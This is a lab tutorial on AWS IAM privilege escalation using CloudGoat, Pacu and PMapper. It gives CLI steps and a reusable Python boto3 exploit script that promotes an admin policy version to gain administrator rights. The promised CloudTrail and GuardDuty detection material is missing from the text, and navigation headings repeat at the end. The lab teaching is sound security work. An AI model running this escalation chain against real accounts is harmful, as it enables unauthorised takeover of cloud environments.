Hands-On Tutorial: Auditing & Exploiting AWS IAM Privilege Escalation Paths in 2026

Welcome to the hands-on companion tutorial to our masterclass on AWS IAM Privilege Escalation. In this step-by-step tutorial, you will build a local vulnerability testing harness using CloudGoat, run automated privilege escalation scans using Pacu 1.7.0 and Principal Mapper (PMapper), develop custom Python Boto3 exploit harnesses, and analyze live AWS CloudTrail telemetry.

Learning Objectives

By completing this tutorial, you will be able to:

Deploy isolated CloudGoat IAM privilege escalation lab scenarios in your AWS account.
Execute automated enumeration and attack path scanning using Pacu 1.7.0 and PMapper.
Exploit policy version rollbacks (SetDefaultPolicyVersion) and serverless PassRole injection vectors step-by-step.
Write production-ready Python Boto3 exploit scripts for automated verification.
Analyze CloudTrail logs and craft GuardDuty detection rules to catch IAM exploits.

Prerequisites & Required Tools

Required Tools

Linux Environment: Kali Linux, Ubuntu 24.04 LTS, or Arch Linux.
AWS CLI v2: Configured with test account access keys (aws configure).
Python 3.11+: With boto3, pacu, principalmapper, and virtualenv installed.
Terraform 1.5+: Required to provision CloudGoat scenarios.

Setting Up Your Isolated Python Environment

Bash

# Create dedicated workspace
mkdir -p ~/aws-privesc-lab && cd ~/aws-privesc-lab

# Setup virtual environment
python3 -m venv venv
source venv/bin/activate

# Install required tools
pip install boto3 pacu principalmapper

Step 1: Deploying the CloudGoat Target Scenario

Rhino Security Labs provides CloudGoat, an open-source vulnerable-by-design AWS deployment tool.

Bash

# Clone and setup CloudGoat
git clone https://github.com/RhinoSecurityLabs/cloudgoat.git
cd cloudgoat
pip install -r requirements.txt
./cloudgoat.py config profile

# Deploy the iam_privesc_by_rollback scenario
./cloudgoat.py create iam_privesc_by_rollback

Expected CloudGoat Output:

Text

[+] Scenario iam_privesc_by_rollback successfully deployed!
[+] Starting IAM User Access Key ID: AKIAIOSFODNN7EXAMPLE
[+] Starting IAM User Secret Access Key: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
[+] Starting User Name: raynor-cgid123456

Step 2: Automated Enumeration with Pacu 1.7.0

With credentials in hand, we launch Pacu to inspect our starting identity's permissions and scan for potential attack paths.

Bash

# Launch Pacu session
pacu

# Inside Pacu prompt:
Pacu > set_keys
# Paste Access Key ID and Secret Key when prompted

# Confirm identity
Pacu > whoami

# Enumerate IAM permissions
Pacu > run iam__enum_permissions

# Execute privilege escalation scan
Pacu > run iam__privesc_scan --scan-only

Analyzing Pacu Output:

Pacu evaluates the attached managed policies and flags the following vector:

Text

[+] CONFIRMED VECTORS:
    - SetExistingDefaultPolicyVersion (iam:SetDefaultPolicyVersion)
      Explanation: The current identity has iam:SetDefaultPolicyVersion permission and 
      the attached policy has non-default versions with higher privileges.

Step 3: Manual Verification & CLI Exploitation

Never rely solely on automated tool output. Validate the attack path using the AWS CLI.

1. List Policy Versions

Bash

aws iam list-policy-versions \
  --policy-arn arn:aws:iam::123456789012:policy/cg-raynor-policy \
  --profile cloudgoat

Sample Output:

JSON

{
  "Versions": [
    {"VersionId": "v1", "IsDefaultVersion": true, "CreateDate": "2026-09-24T10:00:00Z"},
    {"VersionId": "v2", "IsDefaultVersion": false, "CreateDate": "2026-09-24T09:30:00Z"},
    {"VersionId": "v3", "IsDefaultVersion": false, "CreateDate": "2026-09-24T09:00:00Z"}
  ]
}

2. Inspect Non-Default Policy Document (v3)

Bash

aws iam get-policy-version \
  --policy-arn arn:aws:iam::123456789012:policy/cg-raynor-policy \
  --version-id v3 \
  --profile cloudgoat

Discovered Policy Statement:

JSON

{
  "PolicyVersion": {
    "Document": {
      "Statement": [
        {
          "Effect": "Allow",
          "Action": "*",
          "Resource": "*"
        }
      ]
    }
  }
}

v3 contains full administrative rights (Action: "*", Resource: "*").

3. Promote Version 3 to Default

Bash

aws iam set-default-policy-version \
  --policy-arn arn:aws:iam::123456789012:policy/cg-raynor-policy \
  --version-id v3 \
  --profile cloudgoat

4. Verify Administrative Access

Bash

aws iam create-user --user-name pwned_admin_user --profile cloudgoat

The command succeeds without an AccessDenied error. Privileges have been successfully escalated to Administrator!

Step 4: Writing a Custom Python Boto3 Exploit Harness

To automate this attack chain in future engagements, build a Python Boto3 script.

Create exploit_rollback.py:

Python

#!/usr/bin/env python3
import boto3
import sys

def exploit_iam_rollback(profile_name, target_user):
    session = boto3.Session(profile_name=profile_name)
    iam = session.client('iam')
    
    print(f"[*] Fetching attached user policies for target identity...")
    user_policies = iam.list_attached_user_policies(UserName=target_user)
    
    for policy in user_policies.get('AttachedPolicies', []):
        policy_arn = policy['PolicyArn']
        print(f"[*] Checking versions for policy: {policy_arn}")
        
        versions = iam.list_policy_versions(PolicyArn=policy_arn)['Versions']
        for v in versions:
            if not v['IsDefaultVersion']:
                version_doc = iam.get_policy_version(
                    PolicyArn=policy_arn, 
                    VersionId=v['VersionId']
                )['PolicyVersion']['Document']
                
                # Check for Administrator access in statement
                for stmt in version_doc.get('Statement', []):
                    if stmt.get('Action') == '*' or '*' in stmt.get('Action', []):
                        print(f"[!] FOUND ADMIN VERSION: {v['VersionId']} in {policy_arn}")
                        print(f"[*] Promoting {v['VersionId']} to default...")
                        
                        iam.set_default_policy_version(
                            PolicyArn=policy_arn,
                            VersionId=v['VersionId']
                        )
                        print("[+] Privilege escalation successful! Current user is now Administrator.")
                        return True
    print("[-] No admin policy versions found.")
    return False

if __name__ == '__main__':
    if len(sys.argv) < 3:
        print("Usage: python exploit_rollback.py <aws_profile> <username>")
        sys.exit(1)
    exploit_iam_rollback(sys.argv[1], sys.argv[2])

Run the harness:

Bash

python3 exploit_rollback.py cloudgoat raynor-cgid123456

Step 5: Multi-Hop Escalation Graph Analysis with PMapper

Next, use Principal Mapper to discover complex multi-hop escalation paths.

Bash

# Create IAM graph
pmapper --profile cloudgoat graph create

# Query who can reach AdministratorAccess
pmapper --profile cloudgoat query "who can do *"

# Print directed path
pmapper --profile cloudgoat query "preset privesc *"

Output Graph Path:

Text

(User: raynor-cgid123456) 
  ──[ iam:SetDefaultPolicyVersion ]──► 
(Policy: cg-raynor-policy:v3) 
  ──[ Action: * ]──► 
(AWS Account Admin)

Step 6: Defensive Verification & Cleanup

1. Revert Policy Version to Non-Admin (`v1`)

Bash

aws iam set-default-policy-version \
  --policy-arn arn:aws:iam::123456789012:policy/cg-raynor-policy \
  --version-id v1 \
  --profile cloudgoat

2. Destroy CloudGoat Scenario

Bash

./cloudgoat.py destroy iam_privesc_by_rollback

AWS IAM Privilege Escalation: What to Audit in a Lab (2026)

Prerequisites

Required Tools

Target Learning Objectives

Hands-On Tutorial: Auditing & Exploiting AWS IAM Privilege Escalation Paths in 2026

Learning Objectives

Prerequisites & Required Tools

Required Tools

Setting Up Your Isolated Python Environment

Step 1: Deploying the CloudGoat Target Scenario

Expected CloudGoat Output:

Step 2: Automated Enumeration with Pacu 1.7.0

Analyzing Pacu Output:

Step 3: Manual Verification & CLI Exploitation

1. List Policy Versions

Sample Output:

2. Inspect Non-Default Policy Document (v3)

Discovered Policy Statement:

3. Promote Version 3 to Default

4. Verify Administrative Access

Step 4: Writing a Custom Python Boto3 Exploit Harness

Step 5: Multi-Hop Escalation Graph Analysis with PMapper

Output Graph Path:

Step 6: Defensive Verification & Cleanup

1. Revert Policy Version to Non-Admin (`v1`)

2. Destroy CloudGoat Scenario

Discussion

Prerequisites

Required Tools

Target Learning Objectives

Hands-On Tutorial: Auditing & Exploiting AWS IAM Privilege Escalation Paths in 2026

Learning Objectives

Prerequisites & Required Tools

Required Tools

Setting Up Your Isolated Python Environment

Step 1: Deploying the CloudGoat Target Scenario

Expected CloudGoat Output:

Step 2: Automated Enumeration with Pacu 1.7.0

Analyzing Pacu Output:

Step 3: Manual Verification & CLI Exploitation

1. List Policy Versions

Sample Output:

2. Inspect Non-Default Policy Document (v3)

Discovered Policy Statement:

3. Promote Version 3 to Default

4. Verify Administrative Access

Step 4: Writing a Custom Python Boto3 Exploit Harness

Step 5: Multi-Hop Escalation Graph Analysis with PMapper

Output Graph Path:

Step 6: Defensive Verification & Cleanup

1. Revert Policy Version to Non-Admin (v1)

2. Destroy CloudGoat Scenario

Related Masterclass & Resources

Discussion

1. Revert Policy Version to Non-Admin (`v1`)